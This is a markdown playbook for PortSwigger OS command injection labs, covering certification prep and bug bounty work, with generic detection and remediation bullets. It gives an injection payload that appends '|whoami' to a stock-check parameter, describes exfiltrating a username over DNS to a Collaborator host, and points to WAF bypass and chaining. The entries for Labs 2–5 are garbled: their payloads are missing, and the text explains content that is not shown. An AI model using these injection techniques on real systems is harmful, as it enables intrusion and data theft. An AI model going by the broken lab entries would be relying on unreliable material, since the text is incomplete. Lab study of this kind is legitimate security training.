Os command injection

OS Command Injection — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Simple case 🟢 APPRENTICE

POST /product/stock HTTP/1.1

productId=1&storeId=1|whoami

Output: peter-abcdef — command executed.

Lab 2: Blind with time delays 🟡 PRACTITIONER

storeId=1|```
10-second delay confirms blind injection. `||` ensures execution regardless of first command.
---

### Lab 3: Blind with output redirection 🟡 PRACTITIONER
```http
storeId=1|```
Then fetch: `GET /image?filename=output.txt`
---

### Lab 4: Blind with out-of-band 🟡 PRACTITIONER
```http
storeId=1|```
Check Collaborator for DNS lookup.
---

### Lab 5: Blind OOB data exfiltration 🟡 PRACTITIONER
```http
storeId=1|```
DNS query: `peter-abc123.BURP-COLLAB.net` — username exfiltrated via DNS subdomain.
---


## Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.

## Zero-Day Research
When standard technique fails:
1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex


## Key Concepts
| Concept | Description |
|---------|-------------|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |


## Output Format

Vulnerability Deep-Dive Report

Target Vector: [Endpoint] Bypass Technique: [Explanation of bypass] Payload Used: [Payload] Impact Explanation: [Impact]

## 🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [HackTricks](https://book.hacktricks.xyz/)